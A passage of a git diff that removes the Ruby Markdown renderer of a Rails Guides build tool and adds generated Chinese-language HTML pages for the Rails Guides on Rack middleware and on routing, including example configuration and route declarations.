- dom_id = "#{nodes[-2][:id]}-#{dom_id}" - end - - @node_ids[dom_id] = nodes - dom_id - end - - def dom_id_text(text) - escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"') - - text.downcase.gsub(/\?/, "-questionmark") - .gsub(/!/, "-bang") - .gsub(/[#{escaped_chars}]+/, " ").strip - .gsub(/\s+/, "-") - end - - def engine - @engine ||= Redcarpet::Markdown.new(Renderer, - no_intra_emphasis: true, - fenced_code_blocks: true, - autolink: true, - strikethrough: true, - superscript: true, - tables: true - ) - end - - def extract_raw_header_and_body - if @raw_body =~ /^\-{40,}$/ - @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip) - end - end - - def generate_body - @body = engine.render(@raw_body) - end - - def generate_header - @header = engine.render(@raw_header).html_safe - end - - def generate_structure - @headings_for_index = [] - if @body.present? - @body = Nokogiri::HTML.fragment(@body).tap do |doc| - hierarchy = [] - - doc.children.each do |node| - if node.name =~ /^h[3-6]$/ - case node.name - when "h3" - hierarchy = [node] - @headings_for_index << [1, node, node.inner_html] - when "h4" - hierarchy = hierarchy[0, 1] + [node] - @headings_for_index << [2, node, node.inner_html] - when "h5" - hierarchy = hierarchy[0, 2] + [node] - when "h6" - hierarchy = hierarchy[0, 3] + [node] - end - - node[:id] = dom_id(hierarchy) - node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}" - end - end - end.to_html - end - end - - def generate_index - if @headings_for_index.present? - raw_index = "" - @headings_for_index.each do |level, node, label| - if level == 1 - raw_index += "1. [#{label}](##{node[:id]})\n" - elsif level == 2 - raw_index += " * [#{label}](##{node[:id]})\n" - end - end - - @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc| - doc.at("ol")[:class] = "chapters" - end.to_html - - @index = <<-INDEX.html_safe -
-

Chapters

- #{@index} -
- INDEX - end - end - - def generate_title - if heading = Nokogiri::HTML.fragment(@header).at(:h2) - @title = "#{heading.text} — Ruby on Rails Guides" - else - @title = "Ruby on Rails Guides" - end - end - - def node_index(hierarchy) - case hierarchy.size - when 1 - @index_counter[2] = @index_counter[3] = @index_counter[4] = 0 - "#{@index_counter[1] += 1}" - when 2 - @index_counter[3] = @index_counter[4] = 0 - "#{@index_counter[1]}.#{@index_counter[2] += 1}" - when 3 - @index_counter[4] = 0 - "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}" - when 4 - "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}" - end - end - - def render_page - @view.content_for(:header_section) { @header } - @view.content_for(:page_title) { @title } - @view.content_for(:index_section) { @index } - @view.render(layout: @layout, html: @body.html_safe) - end - end -end diff --git a/rails_guides/markdown/renderer.rb b/rails_guides/markdown/renderer.rb deleted file mode 100644 index 9d43c10..0000000 --- a/rails_guides/markdown/renderer.rb +++ /dev/null @@ -1,121 +0,0 @@ -module RailsGuides - class Markdown - class Renderer < Redcarpet::Render::HTML - cattr_accessor :edge, :version - - def block_code(code, language) - <<-HTML -
-
-#{ERB::Util.h(code)}
-
-
-HTML - end - - def link(url, title, content) - if url.start_with?("http://api.rubyonrails.org/") - %(#{content}) - elsif title - %(#{content}) - else - %(#{content}) - end - end - - def header(text, header_level) - # Always increase the heading level by 1, so we can use h1, h2 heading in the document - header_level += 1 - - %(#{text}) - end - - def paragraph(text) - if text =~ %r{^NOTE:\s+Defined\s+in\s+(.*?)\.?$} - %(

Defined in #{$1}.

) - elsif text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/ - convert_notes(text) - elsif text.include?("DO NOT READ THIS FILE ON GITHUB") - elsif text =~ /^\[(\d+)\]:<\/sup> (.+)$/ - linkback = %(#{$1}) - %(

#{linkback} #{$2}

) - else - text = convert_footnotes(text) - "

#{text}

" - end - end - - private - - def convert_footnotes(text) - text.gsub(/\[(\d+)\]<\/sup>/i) do - %() + - %(#{$1}) - end - end - - def brush_for(code_type) - case code_type - when "ruby", "sql", "plain" - code_type - when "erb", "html+erb" - "ruby; html-script: true" - when "html" - "xml" # HTML is understood, but there are .xml rules in the CSS - else - "plain" - end - end - - def convert_notes(body) - # The following regexp detects special labels followed by a - # paragraph, perhaps at the end of the document. - # - # It is important that we do not eat more than one newline - # because formatting may be wrong otherwise. For example, - # if a bulleted list follows the first item is not rendered - # as a list item, but as a paragraph starting with a plain - # asterisk. - body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do - css_class = \ - case $1 - when "CAUTION", "IMPORTANT" - "warning" - when "TIP" - "info" - else - $1.downcase - end - %(

#{$2.strip}

) - end - end - - def github_file_url(http://github.com/file_path) - tree = version || edge - - root = file_path[%r{(.+)/}, 1] - path = \ - case root - when "abstract_controller", "action_controller", "action_dispatch" - "actionpack/lib/#{file_path}" - when /\A(action|active)_/ - "#{root.sub("_", "")}/lib/#{file_path}" - else - file_path - end - - "https://github.com/rails/rails/tree/#{tree}/#{path}" - end - - def api_link(url) - if url =~ %r{http://api\.rubyonrails\.org/v\d+\.} - url - elsif edge - url.sub("api", "edgeapi") - else - url.sub(/(?<=\.org)/, "/#{version}") - end - end - end - end -end diff --git a/rails_on_rack.html b/rails_on_rack.html new file mode 100644 index 0000000..8448f63 --- /dev/null +++ b/rails_on_rack.html @@ -0,0 +1,429 @@ + + + + + + + +Rails on Rack — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails on Rack

本文简介 Rails 与 Rack 的集成,以及与其他 Rack 组件的配合。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中使用 Rack 中间件;
  • +
  • Action Pack 内部的中间件栈;
  • +
  • 如何自定义中间件栈。
  • +
+ + + + +
+
+ +
+
+
+

本文假定你对 Rack 协议和相关概念有一定了解,例如中间件、URL 映射和 Rack::Builder

1 Rack 简介

Rack 为使用 Ruby 开发的 Web 应用提供最简单的模块化接口,而且适应性强。Rack 使用最简单的方式包装 HTTP 请求和响应,从而抽象了 Web 服务器、Web 框架,以及二者之间的软件(称为中间件)的 API,统一成一个方法调用。

+ +

本文不详尽说明 Rack。如果你不了解 Rack 的基本概念,请参阅 资源

2 Rails on Rack

2.1 Rails 应用的 Rack 对象

Rails.application 是 Rails 应用的主 Rack 应用对象。任何兼容 Rack 的 Web 服务器都应该使用 Rails.application 对象伺服 Rails 应用。

2.2 rails server +

rails server 负责创建 Rack::Server 对象和启动 Web 服务器。

rails server 创建 Rack::Server 实例的方式如下:

+
+Rails::Server.new.tap do |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+end
+
+
+
+

Rails::Server 继承自 Rack::Server,像下面这样调用 Rack::Server#start 方法:

+
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+
+
+
+

2.3 rackup +

如果不想使用 Rails 提供的 rails server 命令,而是使用 rackup,可以把下述代码写入 Rails 应用根目录中的 config.ru 文件里:

+
+# Rails.root/config.ru
+require_relative 'config/environment'
+run Rails.application
+
+
+
+

然后使用下述命令启动服务器:

+
+$ rackup config.ru
+
+
+
+

rackup 命令的各个选项可以通过下述命令查看:

+
+$ rackup --help
+
+
+
+

2.4 开发和自动重新加载

中间件只加载一次,不会监视变化。若想让改动生效,必须重启服务器。

3 Action Dispatcher 中间件栈

Action Dispatcher 的内部组件很多都实现为 Rack 中间件。Rails::Application 使用 ActionDispatch::MiddlewareStack 把不同的内部和外部中间件组合在一起,构成完整的 Rails Rack 中间件。

Rails 中的 ActionDispatch::MiddlewareStack 相当于 Rack::Builder,但是为了满足 Rails 的需求,前者更灵活,而且功能更多。

3.1 审查中间件栈

Rails 提供了一个方便的任务,用于查看在用的中间件栈:

+
+$ bin/rails middleware
+
+
+
+

在新生成的 Rails 应用中,上述命令可能会输出下述内容:

+
+use Rack::Sendfile
+use ActionDispatch::Static
+use ActionDispatch::Executor
+use ActiveSupport::Cache::Strategy::LocalCache::Middleware
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use ActionDispatch::RemoteIp
+use Sprockets::Rails::QuietAssets
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use WebConsole::Middleware
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp.application.routes
+
+
+
+

这里列出的默认中间件(以及其他一些)在 内部中间件栈概述。

3.2 配置中间件栈

Rails 提供了一个简单的配置接口,config.middleware,用于在 application.rb 或针对环境的配置文件 environments/<environment>.rb 中添加、删除和修改中间件栈。

3.2.1 添加中间件

可以通过下述任意一种方法向中间件栈里添加中间件:

+
    +
  • config.middleware.use(new_middleware, args):在中间件栈的末尾添加一个中间件。
  • +
  • config.middleware.insert_before(existing_middleware, new_middleware, args):在中间件栈里指定现有中间件的前面添加一个中间件。
  • +
  • config.middleware.insert_after(existing_middleware, new_middleware, args):在中间件栈里指定现有中间件的后面添加一个中间件。
  • +
+
+
+# config/application.rb
+
+# 把 Rack::BounceFavicon 放在默认
+config.middleware.use Rack::BounceFavicon
+
+# 在 ActionDispatch::Executor 后面添加 Lifo::Cache
+# 把 { page_cache: false } 参数传给 Lifo::Cache.
+config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false
+
+
+
+

3.2.2 替换中间件

可以使用 config.middleware.swap 替换中间件栈里的现有中间件:

+
+# config/application.rb
+
+# 把 ActionDispatch::ShowExceptions 换成 Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+
+
+
+

3.2.3 删除中间件

在应用的配置文件中添加下面这行代码:

+
+# config/application.rb
+config.middleware.delete Rack::Runtime
+
+
+
+

然后审查中间件栈,你会发现没有 Rack::Runtime 了:

+
+$ bin/rails middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+...
+run Rails.application.routes
+
+
+
+

若想删除会话相关的中间件,这么做:

+
+# config/application.rb
+config.middleware.delete ActionDispatch::Cookies
+config.middleware.delete ActionDispatch::Session::CookieStore
+config.middleware.delete ActionDispatch::Flash
+
+
+
+

若想删除浏览器相关的中间件,这么做:

+
+# config/application.rb
+config.middleware.delete Rack::MethodOverride
+
+
+
+

3.3 内部中间件栈

Action Controller 的大部分功能都实现成中间件。下面概述它们的作用。

Rack::Sendfile

在服务器端设定 X-Sendfile 首部。通过 config.action_dispatch.x_sendfile_header 选项配置。

ActionDispatch::Static

用于伺服 public 目录中的静态文件。如果把 config.public_file_server.enabled 设为 false,禁用这个中间件。

Rack::Lock

env["rack.multithread"] 设为 false,把应用包装到 Mutex 中。

ActionDispatch::Executor

用于在开发环境中以线程安全方式重新加载代码。

ActiveSupport::Cache::Strategy::LocalCache::Middleware

用于缓存内存。这个缓存对线程不安全。

Rack::Runtime

设定 X-Runtime 首部,包含执行请求的用时(单位为秒)。

Rack::MethodOverride

如果设定了 params[:_method],允许覆盖请求方法。PUTDELETE 两个 HTTP 方法就是通过这个中间件提供支持的。

ActionDispatch::RequestId

在响应中设定唯一的 X-Request-Id 首部,并启用 ActionDispatch::Request#request_id 方法。

ActionDispatch::RemoteIp

检查 IP 欺骗攻击。

Sprockets::Rails::QuietAssets:在日志中输出对静态资源的请求。

Rails::Rack::Logger

通知日志,请求开始了。请求完毕后,清空所有相关日志。

ActionDispatch::ShowExceptions

拯救应用返回的所有异常,调用处理异常的应用,把异常包装成对终端用户友好的格式。

ActionDispatch::DebugExceptions

如果是本地请求,负责在日志中记录异常,并显示调试页面。

ActionDispatch::Reloader

提供准备和清理回调,目的是在开发环境中协助重新加载代码。

ActionDispatch::Callbacks

提供回调,在分派请求前后执行。

ActiveRecord::Migration::CheckPending

检查有没有待运行的迁移,如果有,抛出 ActiveRecord::PendingMigrationError

ActionDispatch::Cookies

为请求设定 cookie。

ActionDispatch::Session::CookieStore

负责把会话存储在 cookie 中。

ActionDispatch::Flash

设置闪现消息的键。仅当为 config.action_controller.session_store 设定值时才启用。

Rack::Head

把 HEAD 请求转换成 GET 请求,然后伺服 GET 请求。

Rack::ConditionalGet

支持“条件 GET 请求”,如果页面没变,服务器不做响应。

Rack::ETag

为所有字符串主体添加 ETag 首部。ETag 用于验证缓存。

在自定义的 Rack 栈中可以使用上述任何一个中间件。

4 资源

4.1 学习 Rack

+ +

4.2 理解中间件

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/routing.html b/routing.html new file mode 100644 index 0000000..713f0d2 --- /dev/null +++ b/routing.html @@ -0,0 +1,1682 @@ + + + + + + + +Rails 路由全解 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 路由全解

本文介绍 Rails 路由面向用户的特性。

读完本文后,您将学到:

+
    +
  • 如何理解 config/routes.rb 文件中的代码;
  • +
  • 如何使用推荐的资源式风格或 match 方法构建路由;
  • +
  • 如何声明传给控制器动作的路由参数;
  • +
  • 如何使用路由辅助方法自动创建路径和 URL 地址;
  • +
  • 创建约束和挂载 Rack 端点等高级技术。
  • +
+ + + + +
+
+ +
+
+
+

1 Rails 路由的用途

Rails 路由能够识别 URL 地址,并把它们分派给控制器动作或 Rack 应用进行处理。它还能生成路径和 URL 地址,从而避免在视图中硬编码字符串。

1.1 把 URL 地址连接到代码

当 Rails 应用收到下面的请求时:

+
+GET /patients/17
+
+
+
+

会查询路由,找到匹配的控制器动作。如果第一个匹配的路由是:

+
+get '/patients/:id', to: 'patients#show'
+
+
+
+

该请求会被分派给 patients 控制器的 show 动作,同时把 { id: '17' } 传入 params

1.2 从代码生成路径和 URL 地址

Rails 路由还可以生成路径和 URL 地址。如果把上面的路由修改为:

+
+get '/patients/:id', to: 'patients#show', as: 'patient'
+
+
+
+

并且在控制器中包含下面的代码:

+
+@patient = Patient.find(17)
+
+
+
+

同时在对应的视图中包含下面的代码:

+
+<%= link_to 'Patient Record', patient_path(@patient) %>
+
+
+
+

那么路由会生成路径 /patients/17。这种方式使视图代码更容易维护和理解。注意,在路由辅助方法中不需要指定 ID。

2 资源路由:Rails 的默认风格

资源路由(resource routing)允许我们为资源式控制器快速声明所有常见路由。只需一行代码即可完成资源路由的声明,无需为 indexshowneweditcreateupdatedestroy 动作分别声明路由。

2.1 网络资源

浏览器使用特定的 HTTP 方法向 Rails 应用请求页面,例如 GETPOSTPATCHPUTDELETE。每个 HTTP 方法对应对资源的一种操作。资源路由会把多个相关请求映射到单个控制器的不同动作上。

当 Rails 应用收到下面的请求:

+
+DELETE /photos/17
+
+
+
+

会查询路由,并把请求映射到控制器动作上。如果第一个匹配的路由是:

+
+resources :photos
+
+
+
+

Rails 会把请求分派给 photos 控制器的 destroy 动作,并把 { id: '17' } 传入 params

2.2 CRUD、HTTP 方法和控制器动作

在 Rails 中,资源路由把 HTTP 方法和 URL 地址映射到控制器动作上。按照约定,每个控制器动作也会映射到对应的数据库 CRUD 操作上。路由文件中的单行声明,例如:

+
+resources :photos
+
+
+
+

会在应用中创建 7 个不同的路由,这些路由都会映射到 Photos 控制器上。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/photosphotos#index显示所有照片的列表
GET/photos/newphotos#new返回用于新建照片的 HTML 表单
POST/photosphotos#create新建照片
GET/photos/:idphotos#show显示指定照片
GET/photos/:id/editphotos#edit返回用于修改照片的 HTML 表单
+PATCH/PUT +/photos/:idphotos#update更新指定照片
DELETE/photos/:idphotos#destroy删除指定照片
+

因为路由使用 HTTP 方法和 URL 地址来匹配请求,所以 4 个 URL 地址会映射到 7 个不同的控制器动作上。

Rails 路由按照声明顺序进行匹配。如果 resources :photos 声明在先,get 'photos/poll' 声明在后,那么由前者声明的 show 动作的路由会先于后者匹配。要想匹配 get 'photos/poll',就必须将其移到 resources :photos 之前。

2.3 用于生成路径和 URL 地址的辅助方法

在创建资源路由时,会同时创建多个可以在控制器中使用的辅助方法。例如,在创建 resources :photos 路由时,会同时创建下面的辅助方法:

+
    +
  • photos_path 辅助方法,返回值为 /photos +
  • +
  • new_photo_path 辅助方法,返回值为 /photos/new +
  • +
  • edit_photo_path(:id) 辅助方法,返回值为 /photos/:id/edit(例如,edit_photo_path(10) 的返回值为 /photos/10/edit
  • +
  • photo_path(:id) 辅助方法,返回值为 /photos/:id(例如,photo_path(10) 的返回值为 /photos/10
  • +
+

这些辅助方法都有对应的 _url 形式(例如 photos_url)。前者的返回值是路径,后者的返回值是路径加上由当前的主机名、端口和路径前缀组成的前缀。

2.4 同时定义多个资源

如果需要为多个资源创建路由,可以只调用一次 resources 方法,节约一点敲键盘的时间。

+
+resources :photos, :books, :videos
+
+
+
+

上面的代码等价于:

+
+resources :photos
+resources :books
+resources :videos
+
+
+
+

2.5 单数资源

有时我们希望不使用 ID 就能查找资源。例如,让 /profile 总是显示当前登录用户的个人信息。这种情况下,我们可以使用单数资源来把 /profile 而不是 /profile/:id 映射到 show 动作:

+
+get 'profile', to: 'users#show'
+
+
+
+

如果 get 方法的 to 选项的值是字符串,那么这个字符串应该使用 controller#action 格式。如果 to 选项的值是表示动作的符号,那么还需要使用 controller 选项指定控制器:

+
+get 'profile', to: :show, controller: 'users'
+
+
+
+

下面的资源路由:

+
+resource :geocoder
+
+
+
+

会在应用中创建 6 个不同的路由,这些路由会映射到 Geocoders 控制器的动作上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/geocoder/newgeocoders#new返回用于创建 geocoder 的 HTML 表单
POST/geocodergeocoders#create新建 geocoder
GET/geocodergeocoders#show显示唯一的 geocoder 资源
GET/geocoder/editgeocoders#edit返回用于修改 geocoder 的 HTML 表单
+PATCH/PUT +/geocodergeocoders#update更新唯一的 geocoder 资源
DELETE/geocodergeocoders#destroy删除 geocoder 资源
+

有时我们想要用同一个控制器处理单数路由(如 /account)和复数路由(如 /accounts/45),也就是把单数资源映射到复数资源对应的控制器上。例如,resource :photo 创建的单数路由和 resources :photos 创建的复数路由都会映射到相同的 Photos 控制器上。

在创建单数资源路由时,会同时创建下面的辅助方法:

+
    +
  • new_geocoder_path 辅助方法,返回值是 /geocoder/new +
  • +
  • edit_geocoder_path 辅助方法,返回值是 /geocoder/edit +
  • +
  • geocoder_path 辅助方法,返回值是 /geocoder +
  • +
+

和创建复数资源路由时一样,上面这些辅助方法都有对应的 _url 形式,其返回值也包含了主机名、端口和路径前缀。

有一个长期存在的缺陷使 form_for 辅助方法无法自动处理单数资源。有一个解决方案是直接指定表单 URL,例如:

+
+form_for @geocoder, url: geocoder_path do |f|
+
+# 为了行文简洁,省略以下内容
+
+
+
+

2.6 控制器命名空间和路由

有时我们会把一组控制器放入同一个命名空间中。最常见的例子,是把和管理相关的控制器放入 Admin:: 命名空间中。为此,我们可以把控制器文件放在 app/controllers/admin 文件夹中,然后在路由文件中作如下声明:

+
+namespace :admin do
+  resources :articles, :comments
+end
+
+
+
+

上面的代码会为 articlescomments 控制器分别创建多个路由。对于 Admin::Articles 控制器,Rails 会创建下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/admin/articlesadmin/articles#indexadmin_articles_path
GET/admin/articles/newadmin/articles#newnew_admin_article_path
POST/admin/articlesadmin/articles#createadmin_articles_path
GET/admin/articles/:idadmin/articles#showadmin_article_path(:id)
GET/admin/articles/:id/editadmin/articles#editedit_admin_article_path(:id)
+PATCH/PUT +/admin/articles/:idadmin/articles#updateadmin_article_path(:id)
DELETE/admin/articles/:idadmin/articles#destroyadmin_article_path(:id)
+

如果想把 /articles 路径(不带 /admin 前缀) 映射到 Admin::Articles 控制器上,可以这样声明:

+
+scope module: 'admin' do
+  resources :articles, :comments
+end
+
+
+
+

对于单个资源的情况,还可以这样声明:

+
+resources :articles, module: 'admin'
+
+
+
+

如果想把 /admin/articles 路径映射到 Articles 控制器上(不带 Admin:: 前缀),可以这样声明:

+
+scope '/admin' do
+  resources :articles, :comments
+end
+
+
+
+

对于单个资源的情况,还可以这样声明:

+
+resources :articles, path: '/admin/articles'
+
+
+
+

在上述各个例子中,不管是否使用了 scope 方法,具名路由都保持不变。在最后一个例子中,下列路径都会映射到 Articles 控制器上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/admin/articlesarticles#indexarticles_path
GET/admin/articles/newarticles#newnew_article_path
POST/admin/articlesarticles#createarticles_path
GET/admin/articles/:idarticles#showarticle_path(:id)
GET/admin/articles/:id/editarticles#editedit_article_path(:id)
+PATCH/PUT +/admin/articles/:idarticles#updatearticle_path(:id)
DELETE/admin/articles/:idarticles#destroyarticle_path(:id)
+

如果想在命名空间代码块中使用另一个控制器命名空间,可以指定控制器的绝对路径,例如 get '/foo' => '/foo#index'

2.7 嵌套资源

有的资源是其他资源的子资源,这种情况很常见。例如,假设我们的应用中包含下列模型:

+
+class Magazine < ApplicationRecord
+  has_many :ads
+end
+
+class Ad < ApplicationRecord
+  belongs_to :magazine
+end
+
+
+
+

通过嵌套路由,我们可以在路由中反映模型关联。在本例中,我们可以这样声明路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

上面的代码不仅为 magazines 创建了路由,还创建了映射到 Ads 控制器的路由。在 ad 的 URL 地址中,需要指定对应的 magazine 的 ID:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/magazines/:magazine_id/adsads#index显示指定杂志的所有广告的列表
GET/magazines/:magazine_id/ads/newads#new返回为指定杂志新建广告的 HTML 表单
POST/magazines/:magazine_id/adsads#create为指定杂志新建广告
GET/magazines/:magazine_id/ads/:idads#show显示指定杂志的指定广告
GET/magazines/:magazine_id/ads/:id/editads#edit返回用于修改指定杂志的广告的 HTML 表单
+PATCH/PUT +/magazines/:magazine_id/ads/:idads#update更新指定杂志的指定广告
DELETE/magazines/:magazine_id/ads/:idads#destroy删除指定杂志的指定广告
+

在创建路由的同时,还会创建 magazine_ads_urledit_magazine_ad_path 等路由辅助方法。这些辅助方法以 Magazine 类的实例作为第一个参数,例如 magazine_ads_url(http://github.com/@magazine)

2.7.1 嵌套限制

我们可以在嵌套资源中继续嵌套资源。例如:

+
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+
+
+
+

随着嵌套层级的增加,嵌套资源的处理会变得很困难。例如,下面这个路径:

+
+/publishers/1/magazines/2/photos/3
+
+
+
+

对应的路由辅助方法是 publisher_magazine_photo_url,需要指定三层对象。这种用法很容易就把人搞糊涂了,为此,Jamis Buck 在一篇广为流传的文章中提出了使用嵌套路由的经验法则:

嵌套资源的层级不应超过 1 层。

2.7.2 浅层嵌套

如前文所述,避免深层嵌套(deep nesting)的方法之一,是把动作集合放在在父资源中,这样既可以表明层级关系,又不必嵌套成员动作。换句话说,只用最少的信息创建路由,同样可以唯一地标识资源,例如:

+
+resources :articles do
+  resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+
+
+
+

这种方式在描述性路由(descriptive route)和深层嵌套之间取得了平衡。上面的代码还有简易写法,即使用 :shallow 选项:

+
+resources :articles do
+  resources :comments, shallow: true
+end
+
+
+
+

这两种写法创建的路由完全相同。我们还可以在父资源中使用 :shallow 选项,这样会在所有嵌套的子资源中应用 :shallow 选项:

+
+resources :articles, shallow: true do
+  resources :comments
+  resources :quotes
+  resources :drafts
+end
+
+
+
+

可以用 shallow 方法创建作用域,使其中的所有嵌套都成为浅层嵌套。通过这种方式创建的路由,仍然和上面的例子相同:

+
+shallow do
+  resources :articles do
+    resources :comments
+    resources :quotes
+    resources :drafts
+  end
+end
+
+
+
+

scope 方法有两个选项用于自定义浅层路由。:shallow_path 选项会为成员路径添加指定前缀:

+
+scope shallow_path: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上面的代码会为 comments 资源生成下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/sekret/comments/:id/edit(.:format)comments#editedit_comment_path
GET/sekret/comments/:id(.:format)comments#showcomment_path
+PATCH/PUT +/sekret/comments/:id(.:format)comments#updatecomment_path
DELETE/sekret/comments/:id(.:format)comments#destroycomment_path
+

:shallow_prefix 选项会为具名辅助方法添加指定前缀:

+
+scope shallow_prefix: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上面的代码会为 comments 资源生成下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/comments/:id/edit(.:format)comments#editedit_sekret_comment_path
GET/comments/:id(.:format)comments#showsekret_comment_path
+PATCH/PUT +/comments/:id(.:format)comments#updatesekret_comment_path
DELETE/comments/:id(.:format)comments#destroysekret_comment_path
+

2.8 路由 concern

路由 concern 用于声明公共路由,公共路由可以在其他资源和路由中重复使用。定义路由 concern 的方式如下:

+
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+
+
+
+

我们可以在资源中使用已定义的路由 concern,以避免代码重复,并在路由间共享行为:

+
+resources :messages, concerns: :commentable
+
+resources :articles, concerns: [:commentable, :image_attachable]
+
+
+
+

上面的代码等价于:

+
+resources :messages do
+  resources :comments
+end
+
+resources :articles do
+  resources :comments
+  resources :images, only: :index
+end
+
+
+
+

我们还可以在各种路由声明中使用已定义的路由 concern,例如在作用域或命名空间中:

+
+namespace :articles do
+  concerns :commentable
+end
+
+
+
+

2.9 从对象创建路径和 URL 地址

除了使用路由辅助方法,Rails 还可以从参数数组创建路径和 URL 地址。例如,假设有下面的路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

在使用 magazine_ad_path 方法时,我们可以传入 MagazineAd 的实例,而不是数字 ID:

+
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+
+
+
+

我们还可以在使用 url_for 方法时传入一组对象,Rails 会自动确定对应的路由:

+
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+
+
+
+

在这种情况下,Rails 知道 @magazineMagazine 的实例,而 @adAd 的实例,因此会使用 magazine_ad_path 辅助方法。在使用 link_to 等辅助方法时,我们可以只指定对象,而不必完整调用 url_for 方法:

+
+<%= link_to 'Ad details', [@magazine, @ad] %>
+
+
+
+

如果想链接到一本杂志,可以直接指定 Magazine 的实例:

+
+<%= link_to 'Magazine details', @magazine %>
+
+
+
+

如果想链接到其他控制器动作,只需把动作名称作为第一个元素插入对象数组即可:

+
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+
+
+
+

这样,我们就可以把模型实例看作 URL 地址,这是使用资源式风格最关键的优势之一。

2.10 添加更多 REST 式动作

我们可以使用的路由,并不仅限于 REST 式路由默认创建的那 7 个。我们可以根据需要添加其他路由,包括集合路由(collection route)和成员路由(member route)。

2.10.1 添加成员路由

要添加成员路由,只需在 resource 块中添加 member 块:

+
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /photos/1/preview 路径上的 GET 请求,并把请求映射到 Photos 控制器的 preview 动作上,同时把资源 ID 传入 params[:id],并创建 preview_photo_urlpreview_photo_path 辅助方法。

member 块中,每个成员路由都要指定对应的 HTTP 方法,即 getpatchputpostdelete。如果只有一个成员路由,我们就可以忽略 member 块,直接使用成员路由的 :on 选项。

+
+resources :photos do
+  get 'preview', on: :member
+end
+
+
+
+

如果不使用 :on 选项,创建的成员路由也是相同的,但资源 ID 就必须通过 params[:photo_id] 而不是 params[:id] 来获取了。

2.10.2 添加集合路由

添加集合路由的方式如下:

+
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /photos/search 路径上的 GET 请求,并把请求映射到 Photos 控制器的 search 动作上,同时创建 search_photos_urlsearch_photos_path 辅助方法。

